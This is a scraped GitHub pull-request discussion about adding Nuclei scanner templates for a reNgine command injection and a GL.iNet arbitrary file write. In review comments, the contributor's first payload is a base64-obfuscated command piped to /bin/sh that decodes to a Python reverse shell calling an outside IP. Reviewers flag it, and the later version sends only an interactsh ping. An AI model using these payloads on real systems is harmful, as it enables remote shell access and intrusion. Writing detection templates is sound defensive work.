Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added template for CVE-2023-46455, CVE-2023-50094 #11144

Merged
merged 19 commits into from
Dec 7, 2024

Conversation

Zierax
Copy link
Contributor

@Zierax Zierax commented Nov 5, 2024

Template / PR Information

This template checks for a command injection vulnerability in reNgine v2.2.0, where an authenticated user can manipulate parameters in the scan engine configuration to execute arbitrary system commands.

  • Added CVE: None available currently (Exploit Title: "reNgine 2.2.0 - Command Injection (Authenticated)")
  • References:

Template Validation

I've validated this template locally?

  • NO

Additional Details

  • Google Query: intitle:"reNgine"
  • Vulnerable parameters: nmap_cmd

Additional References:


Template / PR Information

This template tests for SQL injection vulnerabilities in the Customer Support System v1.0, allowing an authenticated user to execute arbitrary SQL commands by injecting malicious payloads into specific parameters.

Template Validation

I've validated this template locally?

  • YES

Additional Details

  • Google Query: inurl:"customer_support/index.php"
  • Affected Parameters: department_id, customer_id, subject
  • Request Payload: POST /customer_support/ajax.php?action=save_ticket

Additional References:


Template / PR Information

This template checks for an arbitrary file write vulnerability in GL.iNet devices (<= 4.3.7). An attacker can overwrite system files, including the shadow file, allowing modification of root access credentials.

Template Validation

I've validated this template locally?

  • YES

Additional Details

  • Google Query: intitle:"GL.iNet Admin Panel"
  • Affected Version: GL.iNet devices with firmware <= 4.3.7
  • Exploit URL: /upload
  • File Path Traversal to /etc/shadow

Additional References:

Template Explanation:
Info Section: Contains metadata about the exploit, including the name, author, severity, tags, description, and references.
Requests Section:
The first request simulates logging into the platform.
The second request checks the status of the scan engine page.
The third request modifies the scan engine configuration to include the command injection payload.
Matchers: Used to verify successful login and other operations.
path:
- "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
body: |
nmap_cmd: 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2V0LkFfSU5FVCxzLmNvbm5lY3QoIiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh # Modify this as needed for proper syntax

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this invalid base64?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

no this is a valid base 64 and this is the original code
python3 -c 'import socket,os,pty;s=socket.socket(socet.A_INET,s.connect("#��#CB�S�c"c�c�"2GW�"2fV�2GW�"2fV�2GW�"2fV"�G7��v"&6"r

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What does it do? It's not valid python, and I don't see why you'd want to connect to a socket? It seems awfully like a reverse shell. Am I missing something? 😓

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Getting a pingback to the interactsh-url is enough.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

okay here is the update for ping interactsh-url only
but what is the variable should I add in the encoded code for ping interactsh-url ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

should I push now

path:
  - "{{BaseURL}}/scan-engine/update"  # Adjust the endpoint for modifying scan engines
body: |
  nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh'  # Sends ping to {{interactsh-url}} 

decoded version
path:

  • "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
    body: |
    nmap_cmd: 'echo "ping "${{interactsh-url}}"" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hi ??

Copy link
Contributor Author

@Zierax Zierax left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######

path:

  • "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
    body: |
    nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}

#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######

@mastercho
Copy link
Contributor

Interesting, never saw reNgine had vuln before, about GL.iNet don't you think this payload is dangerous to run on prod?

@Zierax
Copy link
Contributor Author

Zierax commented Nov 6, 2024

This CVE was first exposed on 2024-09-29, so it's understandable if this is the first time you've heard about this vulnerability.

Reference

I haven’t publicly disclosed the vulnerability details yet. However, since there were no existing Nuclei templates for this vulnerability, I created one myself.

I'm also planning to compile a comprehensive list of unknown vulnerabilities and publish it.

@Zierax
Copy link
Contributor Author

Zierax commented Nov 7, 2024

I am waiting for the accept :)

@ehsandeep ehsandeep changed the title added reNgine 2.2.0 - Add Command Injection Template | Customer Support System 1.0 - Add Multiple SQL Injection Template | GL.iNet <= 4.3.7 - Add Arbitrary File Write Template Added template for CVE-2023-46455, CVE-2023-50094, CVE-2023-50071 Nov 13, 2024
@Zierax Zierax closed this Nov 14, 2024
@Zierax Zierax reopened this Nov 14, 2024
@Zierax
Copy link
Contributor Author

Zierax commented Nov 14, 2024

first time to know those has CVEs
can you rename the templates?

@ritikchaddha
Copy link
Contributor

Hi @Zierax, I've removed the customer-support-system-sql-injection template. At this time, we are not accepting/adding templates for those that are less widely used php projects. Thank you for your understanding!

@ritikchaddha
Copy link
Contributor

ritikchaddha commented Nov 20, 2024

It is crucial to avoid overwriting sensitive files like /etc/shadow or /etc/passwdin template gl-inet-arbitrary-file-write. Instead, please consider updating the template or add another file.

Additionally, don’t forget to update both templates with the POC reference and CVE id for clarity.

@Zierax Zierax changed the title Added template for CVE-2023-46455, CVE-2023-50094, CVE-2023-50071 Added template for CVE-2023-46455, CVE-2023-50094 Nov 23, 2024
@Zierax
Copy link
Contributor Author

Zierax commented Nov 23, 2024

Done;

@ritikchaddha
Copy link
Contributor

ritikchaddha commented Nov 27, 2024

Hi @Zierax,

Both templates appear to be authenticated. To help validate the matchers, could you please share the debug data for the templates of CVE-2023-46455 and CVE-2023-50094?

Additionally, in the rengine-command-injection template, the last request for the exploit you've added differs from the request in the POC reference. Specifically, it is using /api/scanengine/{scan_engine_id}/, whereas it should be an /api/ endpoint with a valid scan_engine_id.

Thank you!

@ritikchaddha ritikchaddha self-assigned this Nov 27, 2024
@ritikchaddha ritikchaddha added Done Ready to merge and removed waiting for more info labels Dec 3, 2024
@Zierax
Copy link
Contributor Author

Zierax commented Dec 5, 2024

I cant now using the tamplates against vulnerable services "it's illegal", so if you can provide the vulnerable services for scan it by the templates I would use them then provide the debuging data

@DhiyaneshGeek DhiyaneshGeek merged commit fda6529 into projectdiscovery:main Dec 7, 2024
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Done Ready to merge
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants